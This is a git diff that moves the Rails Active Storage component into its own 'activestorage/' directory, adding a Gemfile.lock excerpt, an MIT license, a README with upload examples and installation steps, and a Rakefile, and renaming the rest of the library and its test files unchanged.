+      activesupport (= 5.2.0.alpha)
+      arel (~> 8.0)
+    activesupport (5.2.0.alpha)
+      concurrent-ruby (~> 1.0, >= 1.0.2)
+      i18n (~> 0.7)
+      minitest (~> 5.1)
+      tzinfo (~> 1.1)
+    rails (5.2.0.alpha)
+      actioncable (= 5.2.0.alpha)
+      actionmailer (= 5.2.0.alpha)
+      actionpack (= 5.2.0.alpha)
+      actionview (= 5.2.0.alpha)
+      activejob (= 5.2.0.alpha)
+      activemodel (= 5.2.0.alpha)
+      activerecord (= 5.2.0.alpha)
+      activesupport (= 5.2.0.alpha)
+      bundler (>= 1.3.0)
+      railties (= 5.2.0.alpha)
+      sprockets-rails (>= 2.0.0)
+    railties (5.2.0.alpha)
+      actionpack (= 5.2.0.alpha)
+      activesupport (= 5.2.0.alpha)
+      method_source
+      rake (>= 0.8.7)
+      thor (>= 0.18.1, < 2.0)
+
+PATH
+  remote: .
+  specs:
+    activestorage (0.1)
+      rails (>= 5.2.0.alpha)
+
+GEM
+  remote: https://rubygems.org/
+  specs:
+    addressable (2.5.1)
+      public_suffix (~> 2.0, >= 2.0.2)
+    arel (8.0.0)
+    ast (2.3.0)
+    aws-sdk (2.10.7)
+      aws-sdk-resources (= 2.10.7)
+    aws-sdk-core (2.10.7)
+      aws-sigv4 (~> 1.0)
+      jmespath (~> 1.0)
+    aws-sdk-resources (2.10.7)
+      aws-sdk-core (= 2.10.7)
+    aws-sigv4 (1.0.0)
+    azure-storage (0.11.4.preview)
+      azure-core (~> 0.1)
+      faraday (~> 0.9)
+      faraday_middleware (~> 0.10)
+      nokogiri (~> 1.6)
+    builder (3.2.3)
+    byebug (9.0.6)
+    concurrent-ruby (1.0.5)
+    declarative (0.0.9)
+    declarative-option (0.1.0)
+    digest-crc (0.4.1)
+    erubi (1.6.1)
+    faraday (0.12.1)
+      multipart-post (>= 1.2, < 3)
+    faraday_middleware (0.12.0)
+      faraday (>= 0.7.4, < 1.0)
+    globalid (0.4.0)
+      activesupport (>= 4.2.0)
+    google-api-client (0.13.0)
+      addressable (~> 2.5, >= 2.5.1)
+      googleauth (~> 0.5)
+      httpclient (>= 2.8.1, < 3.0)
+      mime-types (~> 3.0)
+      representable (~> 3.0)
+      retriable (>= 2.0, < 4.0)
+    google-cloud-core (1.0.0)
+      google-cloud-env (~> 1.0)
+      googleauth (~> 0.5.1)
+    google-cloud-env (1.0.1)
+      faraday (~> 0.11)
+    google-cloud-storage (1.3.0)
+      digest-crc (~> 0.4)
+      google-api-client (~> 0.13.0)
+      google-cloud-core (~> 1.0)
+    googleauth (0.5.1)
+      faraday (~> 0.9)
+      jwt (~> 1.4)
+      logging (~> 2.0)
+      memoist (~> 0.12)
+      multi_json (~> 1.11)
+      os (~> 0.9)
+      signet (~> 0.7)
+    httparty (0.15.5)
+      multi_xml (>= 0.5.2)
+    httpclient (2.8.3)
+    i18n (0.8.6)
+    jmespath (1.3.1)
+    jwt (1.5.6)
+    little-plugger (1.1.4)
+    logging (2.2.2)
+      little-plugger (~> 1.1)
+      multi_json (~> 1.10)
+    loofah (2.0.3)
+      nokogiri (>= 1.5.9)
+    mail (2.6.6)
+      mime-types (>= 1.16, < 4)
+    memoist (0.16.0)
+    method_source (0.8.2)
+    mime-types (3.1)
+      mime-types-data (~> 3.2015)
+    mime-types-data (3.2016.0521)
+    mini_magick (4.8.0)
+    mini_portile2 (2.2.0)
+    minitest (5.10.3)
+    multi_json (1.12.1)
+    multi_xml (0.6.0)
+    multipart-post (2.0.0)
+    nio4r (2.1.0)
+    nokogiri (1.8.0)
+      mini_portile2 (~> 2.2.0)
+    os (0.9.6)
+    parallel (1.11.2)
+    parser (2.4.0.0)
+      ast (~> 2.2)
+    powerpack (0.1.1)
+    public_suffix (2.0.5)
+    rack (2.0.3)
+    rack-test (0.6.3)
+      rack (>= 1.0)
+    rails-dom-testing (2.0.3)
+      activesupport (>= 4.2.0)
+      nokogiri (>= 1.6)
+    rails-html-sanitizer (1.0.3)
+      loofah (~> 2.0)
+    rainbow (2.2.2)
+      rake
+    rake (12.0.0)
+    representable (3.0.4)
+      declarative (< 0.1.0)
+      declarative-option (< 0.2.0)
+      uber (< 0.2.0)
+    retriable (3.0.2)
+    rubocop (0.49.1)
+      parallel (~> 1.10)
+      parser (>= 2.3.3.1, < 3.0)
+      powerpack (~> 0.1)
+      rainbow (>= 1.99.1, < 3.0)
+      ruby-progressbar (~> 1.7)
+      unicode-display_width (~> 1.0, >= 1.0.1)
+    ruby-progressbar (1.8.1)
+    signet (0.7.3)
+      addressable (~> 2.3)
+      faraday (~> 0.9)
+      jwt (~> 1.5)
+      multi_json (~> 1.10)
+    sprockets (3.7.1)
+      concurrent-ruby (~> 1.0)
+      rack (> 1, < 3)
+    sprockets-rails (3.2.0)
+      actionpack (>= 4.0)
+      activesupport (>= 4.0)
+      sprockets (>= 3.0.0)
+    sqlite3 (1.3.13)
+    thor (0.19.4)
+    thread_safe (0.3.6)
+    tzinfo (1.2.3)
+      thread_safe (~> 0.1)
+    uber (0.1.0)
+    unicode-display_width (1.3.0)
+    websocket-driver (0.6.5)
+      websocket-extensions (>= 0.1.0)
+    websocket-extensions (0.1.2)
+
+PLATFORMS
+  ruby
+
+DEPENDENCIES
+  activestorage!
+  aws-sdk (~> 2)
+  azure-core!
+  azure-storage
+  bundler (~> 1.15)
+  byebug
+  google-cloud-storage (~> 1.3)
+  httparty
+  mini_magick
+  rails!
+  rake
+  rubocop
+  sqlite3
+
+BUNDLED WITH
+   1.15.3
diff --git a/activestorage/MIT-LICENSE b/activestorage/MIT-LICENSE
new file mode 100644
index 0000000000..4e1c6cad79
--- /dev/null
+++ b/activestorage/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2017 David Heinemeier Hansson, Basecamp
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/activestorage/README.md b/activestorage/README.md
new file mode 100644
index 0000000000..4a5f03233d
--- /dev/null
+++ b/activestorage/README.md
@@ -0,0 +1,151 @@
+# Active Storage
+
+Active Storage makes it simple to upload and reference files in cloud services, like Amazon S3 or Google Cloud Storage,
+and attach those files to Active Records. It also provides a disk service for testing or local deployments, but the
+focus is on cloud storage.
+
+Files can uploaded from the server to the cloud or directly from the client to the cloud.
+
+Image files can further more be transformed using on-demand variants for quality, aspect ratio, size, or any other
+MiniMagick supported transformation.
+
+## Compared to other storage solutions
+
+A key difference to how Active Storage works compared to other attachment solutions in Rails is through the use of built-in [Blob](https://github.com/rails/activestorage/blob/master/app/models/active_storage/blob.rb) and [Attachment](https://github.com/rails/activestorage/blob/master/app/models/active_storage/attachment.rb) models (backed by Active Record). This means existing application models do not need to be modified with additional columns to associate with files. Active Storage uses polymorphic associations via the join model of `Attachment`, which then connects to the actual `Blob`.
+
+These `Blob` models are intended to be immutable in spirit. One file, one blob. You can associate the same blob with multiple application models as well. And if you want to do transformations of a given `Blob`, the idea is that you'll simply create a new one, rather than attempt to mutate the existing (though of course you can delete that later if you don't need it).
+
+## Examples
+
+One attachment:
+
+```ruby
+class User < ApplicationRecord
+  has_one_attached :avatar
+end
+
+user.avatar.attach io: File.open("~/face.jpg"), filename: "avatar.jpg", content_type: "image/jpg"
+user.avatar.attached? # => true
+
+user.avatar.purge
+user.avatar.attached? # => false
+
+url_for(user.avatar) # Generate a permanent URL for the blob, which upon access will redirect to a temporary service URL.
+
+class AvatarsController < ApplicationController
+  def update
+    # params[:avatar] contains a ActionDispatch::Http::UploadedFile object
+    Current.user.avatar.attach(params.require(:avatar))
+    redirect_to Current.user
+  end
+end
+```
+
+Many attachments:
+
+```ruby
+class Message < ApplicationRecord
+  has_many_attached :images
+end
+```
+
+```erb
+<%= form_with model: @message do |form| %>
+  <%= form.text_field :title, placeholder: "Title" %><br>
+  <%= form.text_area :content %><br><br>
+
+  <%= form.file_field :images, multiple: true %><br>
+  <%= form.submit %>
+<% end %>
+```
+
+```ruby
+class MessagesController < ApplicationController
+  def index
+    # Use the built-in with_attached_images scope to avoid N+1
+    @messages = Message.all.with_attached_images
+  end
+
+  def create
+    message = Message.create! params.require(:message).permit(:title, :content)
+    message.images.attach(params[:message][:images])
+    redirect_to message
+  end
+
+  def show
+    @message = Message.find(params[:id])
+  end
+end
+```
+
+Variation of image attachment:
+
+```erb
+<%# Hitting the variant URL will lazy transform the original blob and then redirect to its new service location %>
+<%= image_tag url_for(user.avatar.variant(resize: "100x100")) %>
+```
+
+## Installation
+
+1. Add `gem "activestorage", git: "https://github.com/rails/activestorage.git"` to your Gemfile.
+2. Add `require "active_storage"` to config/application.rb, after `require "rails/all"` line.
+3. Run `rails activestorage:install` to create needed directories, migrations, and configuration.
+4. Configure the storage service in `config/environments/*` with `config.active_storage.service = :local`
+   that references the services configured in `config/storage_services.yml`.
+5. Optional: Add `gem "aws-sdk", "~> 2"` to your Gemfile if you want to use AWS S3.
+6. Optional: Add `gem "google-cloud-storage", "~> 1.3"` to your Gemfile if you want to use Google Cloud Storage.
+7. Optional: Add `gem "mini_magick"` to your Gemfile if you want to use variants.
+
+## Direct uploads
+
+Active Storage, with its included JavaScript library, supports uploading directly from the client to the cloud.
+
+### Direct upload installation
+
+1. Include `activestorage.js` in your application's JavaScript bundle.
+
+    Using the asset pipeline:
+    ```js
+    //= require activestorage
+    ```
+    Using the npm package:
+    ```js
+    import * as ActiveStorage from "activestorage"
+    ActiveStorage.start()
+    ```
+2. Annotate file inputs with the direct upload URL.
+
+    ```ruby
+    <%= form.file_field :attachments, multiple: true, direct_upload: true %>
+    ```
+3. That's it! Uploads begin upon form submission.
+
+### Direct upload JavaScript events
+
+| Event name | Event target | Event data (`event.detail`) | Description |
+| --- | --- | --- | --- |
+| `direct-uploads:start` | `<form>` | None | A form containing files for direct upload fields was submit. |
+| `direct-upload:initialize` | `<input>` | `{id, file}` | Dispatched for every file after form submission. |
+| `direct-upload:start` | `<input>` | `{id, file}` | A direct upload is starting. |
+| `direct-upload:before-blob-request` | `<input>` | `{id, file, xhr}` | Before making a request to your application for direct upload metadata. |
+| `direct-upload:before-storage-request` | `<input>` | `{id, file, xhr}` | Before making a request to store a file. |
+| `direct-upload:progress` | `<input>` | `{id, file, progress}` | As requests to store files progress. |
+| `direct-upload:error` | `<input>` | `{id, file, error}` | An error occurred. An `alert` will display unless this event is canceled. |
+| `direct-upload:end` | `<input>` | `{id, file}` | A direct upload has ended. |
+| `direct-uploads:end` | `<form>` | None | All direct uploads have ended. |
+
+## Compatibility & Expectations
+
+Active Storage only works with the development version of Rails 5.2+ (as of July 19, 2017). This separate repository is a staging ground for the upcoming inclusion in rails/rails prior to the Rails 5.2 release. It is not intended to be a long-term stand-alone repository.
+
+Furthermore, this repository is likely to be in heavy flux prior to the merge to rails/rails. You're heartedly encouraged to follow along and even use Active Storage in this phase, but don't be surprised if the API suffers frequent breaking changes prior to the merge.
+
+## Todos
+
+- Convert MirrorService to use threading
+- Read metadata via Marcel?
+- Add Migrator to copy/move between services
+
+## License
+
+Active Storage is released under the [MIT License](https://opensource.org/licenses/MIT).
diff --git a/activestorage/Rakefile b/activestorage/Rakefile
new file mode 100644
index 0000000000..a41e07f373
--- /dev/null
+++ b/activestorage/Rakefile
@@ -0,0 +1,12 @@
+require "bundler/setup"
+require "bundler/gem_tasks"
+require "rake/testtask"
+
+Rake::TestTask.new do |test|
+  test.libs << "app/controllers"
+  test.libs << "test"
+  test.test_files = FileList["test/**/*_test.rb"]
+  test.warning = false
+end
+
+task default: :test
diff --git a/activestorage.gemspec b/activestorage/activestorage.gemspec
index eeefa03903..eeefa03903 100644
--- a/activestorage.gemspec
+++ b/activestorage/activestorage.gemspec
diff --git a/app/assets/javascripts/activestorage.js b/activestorage/app/assets/javascripts/activestorage.js
index 33dc5cdc58..33dc5cdc58 100644
--- a/app/assets/javascripts/activestorage.js
+++ b/activestorage/app/assets/javascripts/activestorage.js
diff --git a/app/controllers/active_storage/blobs_controller.rb b/activestorage/app/controllers/active_storage/blobs_controller.rb
index 05af29f8b2..05af29f8b2 100644
--- a/app/controllers/active_storage/blobs_controller.rb
+++ b/activestorage/app/controllers/active_storage/blobs_controller.rb
diff --git a/app/controllers/active_storage/direct_uploads_controller.rb b/activestorage/app/controllers/active_storage/direct_uploads_controller.rb
index 0d93985897..0d93985897 100644
--- a/app/controllers/active_storage/direct_uploads_controller.rb
+++ b/activestorage/app/controllers/active_storage/direct_uploads_controller.rb
diff --git a/app/controllers/active_storage/disk_controller.rb b/activestorage/app/controllers/active_storage/disk_controller.rb
index 76377a0f20..76377a0f20 100644
--- a/app/controllers/active_storage/disk_controller.rb
+++ b/activestorage/app/controllers/active_storage/disk_controller.rb
diff --git a/app/controllers/active_storage/variants_controller.rb b/activestorage/app/controllers/active_storage/variants_controller.rb
index aa38f8e928..aa38f8e928 100644
--- a/app/controllers/active_storage/variants_controller.rb
+++ b/activestorage/app/controllers/active_storage/variants_controller.rb
diff --git a/app/helpers/active_storage/file_field_with_direct_upload_helper.rb b/activestorage/app/helpers/active_storage/file_field_with_direct_upload_helper.rb
index 7c5fd0eb55..7c5fd0eb55 100644
--- a/app/helpers/active_storage/file_field_with_direct_upload_helper.rb
+++ b/activestorage/app/helpers/active_storage/file_field_with_direct_upload_helper.rb
diff --git a/app/javascript/activestorage/blob_record.js b/activestorage/app/javascript/activestorage/blob_record.js
index 3c6e6b6ba1..3c6e6b6ba1 100644
--- a/app/javascript/activestorage/blob_record.js
+++ b/activestorage/app/javascript/activestorage/blob_record.js
diff --git a/app/javascript/activestorage/blob_upload.js b/activestorage/app/javascript/activestorage/blob_upload.js
index 99bf0c9e30..99bf0c9e30 100644
--- a/app/javascript/activestorage/blob_upload.js
+++ b/activestorage/app/javascript/activestorage/blob_upload.js
diff --git a/app/javascript/activestorage/direct_upload.js b/activestorage/app/javascript/activestorage/direct_upload.js
index 7085e0a4ab..7085e0a4ab 100644
--- a/app/javascript/activestorage/direct_upload.js
+++ b/activestorage/app/javascript/activestorage/direct_upload.js
diff --git a/app/javascript/activestorage/direct_upload_controller.js b/activestorage/app/javascript/activestorage/direct_upload_controller.js
index 987050889a..987050889a 100644
--- a/app/javascript/activestorage/direct_upload_controller.js
+++ b/activestorage/app/javascript/activestorage/direct_upload_controller.js
diff --git a/app/javascript/activestorage/direct_uploads_controller.js b/activestorage/app/javascript/activestorage/direct_uploads_controller.js
index 94b89c9119..94b89c9119 100644
--- a/app/javascript/activestorage/direct_uploads_controller.js
+++ b/activestorage/app/javascript/activestorage/direct_uploads_controller.js
diff --git a/app/javascript/activestorage/file_checksum.js b/activestorage/app/javascript/activestorage/file_checksum.js
index ffaec1a128..ffaec1a128 100644
--- a/app/javascript/activestorage/file_checksum.js
+++ b/activestorage/app/javascript/activestorage/file_checksum.js
diff --git a/app/javascript/activestorage/helpers.js b/activestorage/app/javascript/activestorage/helpers.js
index 52fec8f6f1..52fec8f6f1 100644
--- a/app/javascript/activestorage/helpers.js
+++ b/activestorage/app/javascript/activestorage/helpers.js
diff --git a/app/javascript/activestorage/index.js b/activestorage/app/javascript/activestorage/index.js
index a340008fb9..a340008fb9 100644
--- a/app/javascript/activestorage/index.js
+++ b/activestorage/app/javascript/activestorage/index.js
diff --git a/app/javascript/activestorage/ujs.js b/activestorage/app/javascript/activestorage/ujs.js
index a2ce2cfc58..a2ce2cfc58 100644
--- a/app/javascript/activestorage/ujs.js
+++ b/activestorage/app/javascript/activestorage/ujs.js
diff --git a/app/jobs/active_storage/purge_job.rb b/activestorage/app/jobs/active_storage/purge_job.rb
index 815f908e6c..815f908e6c 100644
--- a/app/jobs/active_storage/purge_job.rb
+++ b/activestorage/app/jobs/active_storage/purge_job.rb
diff --git a/app/models/active_storage/attachment.rb b/activestorage/app/models/active_storage/attachment.rb
index 2c8b7a9cf2..2c8b7a9cf2 100644
--- a/app/models/active_storage/attachment.rb
+++ b/activestorage/app/models/active_storage/attachment.rb
diff --git a/app/models/active_storage/blob.rb b/activestorage/app/models/active_storage/blob.rb
index 9208d36ee3..9208d36ee3 100644
--- a/app/models/active_storage/blob.rb
+++ b/activestorage/app/models/active_storage/blob.rb
diff --git a/app/models/active_storage/filename.rb b/activestorage/app/models/active_storage/filename.rb
index 35f4a8ac59..35f4a8ac59 100644
--- a/app/models/active_storage/filename.rb
+++ b/activestorage/app/models/active_storage/filename.rb
diff --git a/app/models/active_storage/variant.rb b/activestorage/app/models/active_storage/variant.rb
index a8e64f781e..a8e64f781e 100644
--- a/app/models/active_storage/variant.rb
+++ b/activestorage/app/models/active_storage/variant.rb
diff --git a/app/models/active_storage/variation.rb b/activestorage/app/models/active_storage/variation.rb
index 34b854fd9f..34b854fd9f 100644
--- a/app/models/active_storage/variation.rb
+++ b/activestorage/app/models/active_storage/variation.rb
diff --git a/config/routes.rb b/activestorage/config/routes.rb
index 6aa99c42ac..6aa99c42ac 100644
--- a/config/routes.rb
+++ b/activestorage/config/routes.rb
diff --git a/config/storage_services.yml b/activestorage/config/storage_services.yml
index 057e15e74d..057e15e74d 100644
--- a/config/storage_services.yml
+++ b/activestorage/config/storage_services.yml
diff --git a/lib/active_storage.rb b/activestorage/lib/active_storage.rb
index 4466aea1ee..4466aea1ee 100644
--- a/lib/active_storage.rb
+++ b/activestorage/lib/active_storage.rb
diff --git a/lib/active_storage/attached.rb b/activestorage/lib/active_storage/attached.rb
index 4644d74bcc..4644d74bcc 100644
--- a/lib/active_storage/attached.rb
+++ b/activestorage/lib/active_storage/attached.rb
diff --git a/lib/active_storage/attached/macros.rb b/activestorage/lib/active_storage/attached/macros.rb
index 89297e5bdf..89297e5bdf 100644
--- a/lib/active_storage/attached/macros.rb
+++ b/activestorage/lib/active_storage/attached/macros.rb
diff --git a/lib/active_storage/attached/many.rb b/activestorage/lib/active_storage/attached/many.rb
index 035cd9c091..035cd9c091 100644
--- a/lib/active_storage/attached/many.rb
+++ b/activestorage/lib/active_storage/attached/many.rb
diff --git a/lib/active_storage/attached/one.rb b/activestorage/lib/active_storage/attached/one.rb
index 0c522e856e..0c522e856e 100644
--- a/lib/active_storage/attached/one.rb
+++ b/activestorage/lib/active_storage/attached/one.rb
diff --git a/lib/active_storage/engine.rb b/activestorage/lib/active_storage/engine.rb
index 71861b84ae..71861b84ae 100644
--- a/lib/active_storage/engine.rb
+++ b/activestorage/lib/active_storage/engine.rb
diff --git a/lib/active_storage/gem_version.rb b/activestorage/lib/active_storage/gem_version.rb
index cde112a006..cde112a006 100644
--- a/lib/active_storage/gem_version.rb
+++ b/activestorage/lib/active_storage/gem_version.rb
diff --git a/lib/active_storage/log_subscriber.rb b/activestorage/lib/active_storage/log_subscriber.rb
index 4ac34a3b25..4ac34a3b25 100644
--- a/lib/active_storage/log_subscriber.rb
+++ b/activestorage/lib/active_storage/log_subscriber.rb
diff --git a/lib/active_storage/migration.rb b/activestorage/lib/active_storage/migration.rb
index 2e35e163cd..2e35e163cd 100644
--- a/lib/active_storage/migration.rb
+++ b/activestorage/lib/active_storage/migration.rb
diff --git a/lib/active_storage/service.rb b/activestorage/lib/active_storage/service.rb
index b648c51823..b648c51823 100644
--- a/lib/active_storage/service.rb
+++ b/activestorage/lib/active_storage/service.rb
diff --git a/lib/active_storage/service/azure_service.rb b/activestorage/lib/active_storage/service/azure_service.rb
index a505b9a0ee..a505b9a0ee 100644
--- a/lib/active_storage/service/azure_service.rb
+++ b/activestorage/lib/active_storage/service/azure_service.rb
diff --git a/lib/active_storage/service/configurator.rb b/activestorage/lib/active_storage/service/configurator.rb
index 00ae24d251..00ae24d251 100644
--- a/lib/active_storage/service/configurator.rb
+++ b/activestorage/lib/active_storage/service/configurator.rb
diff --git a/lib/active_storage/service/disk_service.rb b/activestorage/lib/active_storage/service/disk_service.rb
index 35b0909297..35b0909297 100644
--- a/lib/active_storage/service/disk_service.rb
+++ b/activestorage/lib/active_storage/service/disk_service.rb
diff --git a/lib/active_storage/service/gcs_service.rb b/activestorage/lib/active_storage/service/gcs_service.rb
index 73629f7486..73629f7486 100644
--- a/lib/active_storage/service/gcs_service.rb
+++ b/activestorage/lib/active_storage/service/gcs_service.rb
diff --git a/lib/active_storage/service/mirror_service.rb b/activestorage/lib/active_storage/service/mirror_service.rb
index 7c407f2730..7c407f2730 100644
--- a/lib/active_storage/service/mirror_service.rb
+++ b/activestorage/lib/active_storage/service/mirror_service.rb
diff --git a/lib/active_storage/service/s3_service.rb b/activestorage/lib/active_storage/service/s3_service.rb
index ca461c2994..ca461c2994 100644
--- a/lib/active_storage/service/s3_service.rb
+++ b/activestorage/lib/active_storage/service/s3_service.rb
diff --git a/lib/active_storage/version.rb b/activestorage/lib/active_storage/version.rb
index 8f45480712..8f45480712 100644
--- a/lib/active_storage/version.rb
+++ b/activestorage/lib/active_storage/version.rb
diff --git a/lib/tasks/activestorage.rake b/activestorage/lib/tasks/activestorage.rake
index 2fba4eaa8d..2fba4eaa8d 100644
--- a/lib/tasks/activestorage.rake
+++ b/activestorage/lib/tasks/activestorage.rake
diff --git a/package.json b/activestorage/package.json
index 299898017c..299898017c 100644
--- a/package.json
+++ b/activestorage/package.json
diff --git a/test/controllers/direct_uploads_controller_test.rb b/activestorage/test/controllers/direct_uploads_controller_test.rb
index 7185bf2737..7185bf2737 100644
--- a/test/controllers/direct_uploads_controller_test.rb
+++ b/activestorage/test/controllers/direct_uploads_controller_test.rb
diff --git a/test/controllers/disk_controller_test.rb b/activestorage/test/controllers/disk_controller_test.rb
index df7954d6b4..df7954d6b4 100644
--- a/test/controllers/disk_controller_test.rb
+++ b/activestorage/test/controllers/disk_controller_test.rb
diff --git a/test/controllers/variants_controller_test.rb b/activestorage/test/controllers/variants_controller_test.rb
index fa8d15977d..fa8d15977d 100644
--- a/test/controllers/variants_controller_test.rb
+++ b/activestorage/test/controllers/variants_controller_test.rb
diff --git a/test/database/create_users_migration.rb b/activestorage/test/database/create_users_migration.rb
index a0b72a90ee..a0b72a90ee 100644
--- a/test/database/create_users_migration.rb
+++ b/activestorage/test/database/create_users_migration.rb
diff --git a/test/database/setup.rb b/activestorage/test/database/setup.rb
index b12038ee68..b12038ee68 100644
--- a/test/database/setup.rb
+++ b/activestorage/test/database/setup.rb
diff --git a/test/dummy/Rakefile b/activestorage/test/dummy/Rakefile
index ed646b6f55..ed646b6f55 100644
--- a/test/dummy/Rakefile
+++ b/activestorage/test/dummy/Rakefile
diff --git a/test/dummy/app/assets/config/manifest.js b/activestorage/test/dummy/app/assets/config/manifest.js
index a8adebe722..a8adebe722 100644
--- a/test/dummy/app/assets/config/manifest.js
+++ b/activestorage/test/dummy/app/assets/config/manifest.js
diff --git a/activestorage/test/dummy/app/assets/images/.keep b/activestorage/test/dummy/app/assets/images/.keep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activestorage/test/dummy/app/assets/images/.keep
diff --git a/test/dummy/app/assets/javascripts/application.js b/activestorage/test/dummy/app/assets/javascripts/application.js
index e54c6461cc..e54c6461cc 100644
--- a/test/dummy/app/assets/javascripts/application.js
+++ b/activestorage/test/dummy/app/assets/javascripts/application.js
diff --git a/test/dummy/app/assets/stylesheets/application.css b/activestorage/test/dummy/app/assets/stylesheets/application.css
index 0ebd7fe829..0ebd7fe829 100644
--- a/test/dummy/app/assets/stylesheets/application.css
+++ b/activestorage/test/dummy/app/assets/stylesheets/application.css
diff --git a/test/dummy/app/controllers/application_controller.rb b/activestorage/test/dummy/app/controllers/application_controller.rb
index 1c07694e9d..1c07694e9d 100644
--- a/test/dummy/app/controllers/application_controller.rb
+++ b/activestorage/test/dummy/app/controllers/application_controller.rb
diff --git a/activestorage/test/dummy/app/controllers/concerns/.keep b/activestorage/test/dummy/app/controllers/concerns/.keep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activestorage/test/dummy/app/controllers/concerns/.keep
diff --git a/test/dummy/app/helpers/application_helper.rb b/activestorage/test/dummy/app/helpers/application_helper.rb
index de6be7945c..de6be7945c 100644
--- a/test/dummy/app/helpers/application_helper.rb
+++ b/activestorage/test/dummy/app/helpers/application_helper.rb
diff --git a/test/dummy/app/jobs/application_job.rb b/activestorage/test/dummy/app/jobs/application_job.rb
index a009ace51c..a009ace51c 100644
--- a/test/dummy/app/jobs/application_job.rb
+++ b/activestorage/test/dummy/app/jobs/application_job.rb
diff --git a/test/dummy/app/models/application_record.rb b/activestorage/test/dummy/app/models/application_record.rb
index 10a4cba84d..10a4cba84d 100644
--- a/test/dummy/app/models/application_record.rb
+++ b/activestorage/test/dummy/app/models/application_record.rb
diff --git a/activestorage/test/dummy/app/models/concerns/.keep b/activestorage/test/dummy/app/models/concerns/.keep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activestorage/test/dummy/app/models/concerns/.keep
diff --git a/test/dummy/app/views/layouts/application.html.erb b/activestorage/test/dummy/app/views/layouts/application.html.erb
index a6eb0174b7..a6eb0174b7 100644
--- a/test/dummy/app/views/layouts/application.html.erb
+++ b/activestorage/test/dummy/app/views/layouts/application.html.erb
diff --git a/test/dummy/bin/bundle b/activestorage/test/dummy/bin/bundle
index 66e9889e8b..66e9889e8b 100755
--- a/test/dummy/bin/bundle
+++ b/activestorage/test/dummy/bin/bundle
diff --git a/test/dummy/bin/rails b/activestorage/test/dummy/bin/rails
index 0739660237..0739660237 100755
--- a/test/dummy/bin/rails
+++ b/activestorage/test/dummy/bin/rails
diff --git a/test/dummy/bin/rake b/activestorage/test/dummy/bin/rake
index 17240489f6..17240489f6 100755
--- a/test/dummy/bin/rake
+++ b/activestorage/test/dummy/bin/rake
diff --git a/test/dummy/bin/yarn b/activestorage/test/dummy/bin/yarn
index c2bacef836..c2bacef836 100755
--- a/test/dummy/bin/yarn
+++ b/activestorage/test/dummy/bin/yarn
diff --git a/test/dummy/config.ru b/activestorage/test/dummy/config.ru
index f7ba0b527b..f7ba0b527b 100644
--- a/test/dummy/config.ru
+++ b/activestorage/test/dummy/config.ru
diff --git a/test/dummy/config/application.rb b/activestorage/test/dummy/config/application.rb
index 03bf7b050d..03bf7b050d 100644
--- a/test/dummy/config/application.rb
+++ b/activestorage/test/dummy/config/application.rb
diff --git a/test/dummy/config/boot.rb b/activestorage/test/dummy/config/boot.rb
index c9aef85d40..c9aef85d40 100644
--- a/test/dummy/config/boot.rb
+++ b/activestorage/test/dummy/config/boot.rb
diff --git a/test/dummy/config/database.yml b/activestorage/test/dummy/config/database.yml
index 0d02f24980..0d02f24980 100644
--- a/test/dummy/config/database.yml
+++ b/activestorage/test/dummy/config/database.yml
diff --git a/test/dummy/config/environment.rb b/activestorage/test/dummy/config/environment.rb
index 426333bb46..426333bb46 100644
--- a/test/dummy/config/environment.rb
+++ b/activestorage/test/dummy/config/environment.rb
diff --git a/test/dummy/config/environments/development.rb b/activestorage/test/dummy/config/environments/development.rb
index 503375dede..503375dede 100644
--- a/test/dummy/config/environments/development.rb
+++ b/activestorage/test/dummy/config/environments/development.rb
diff --git a/test/dummy/config/environments/production.rb b/activestorage/test/dummy/config/environments/production.rb
index 35a30e084a..35a30e084a 100644
--- a/test/dummy/config/environments/production.rb
+++ b/activestorage/test/dummy/config/environments/production.rb
diff --git a/test/dummy/config/environments/test.rb b/activestorage/test/dummy/config/environments/test.rb
index 4380dfc0cd..4380dfc0cd 100644
--- a/test/dummy/config/environments/test.rb
+++ b/activestorage/test/dummy/config/environments/test.rb
diff --git a/test/dummy/config/initializers/application_controller_renderer.rb b/activestorage/test/dummy/config/initializers/application_controller_renderer.rb
index 51639b67a0..51639b67a0 100644
--- a/test/dummy/config/initializers/application_controller_renderer.rb
+++ b/activestorage/test/dummy/config/initializers/application_controller_renderer.rb
diff --git a/test/dummy/config/initializers/assets.rb b/activestorage/test/dummy/config/initializers/assets.rb
index 4b828e80cb..4b828e80cb 100644
--- a/test/dummy/config/initializers/assets.rb
+++ b/activestorage/test/dummy/config/initializers/assets.rb
diff --git a/test/dummy/config/initializers/backtrace_silencers.rb b/activestorage/test/dummy/config/initializers/backtrace_silencers.rb
index 59385cdf37..59385cdf37 100644
--- a/test/dummy/config/initializers/backtrace_silencers.rb
+++ b/activestorage/test/dummy/config/initializers/backtrace_silencers.rb
diff --git a/test/dummy/config/initializers/cookies_serializer.rb b/activestorage/test/dummy/config/initializers/cookies_serializer.rb
index 5a6a32d371..5a6a32d371 100644
--- a/test/dummy/config/initializers/cookies_serializer.rb
+++ b/activestorage/test/dummy/config/initializers/cookies_serializer.rb
diff --git a/test/dummy/config/initializers/filter_parameter_logging.rb b/activestorage/test/dummy/config/initializers/filter_parameter_logging.rb
index 4a994e1e7b..4a994e1e7b 100644
--- a/test/dummy/config/initializers/filter_parameter_logging.rb
+++ b/activestorage/test/dummy/config/initializers/filter_parameter_logging.rb
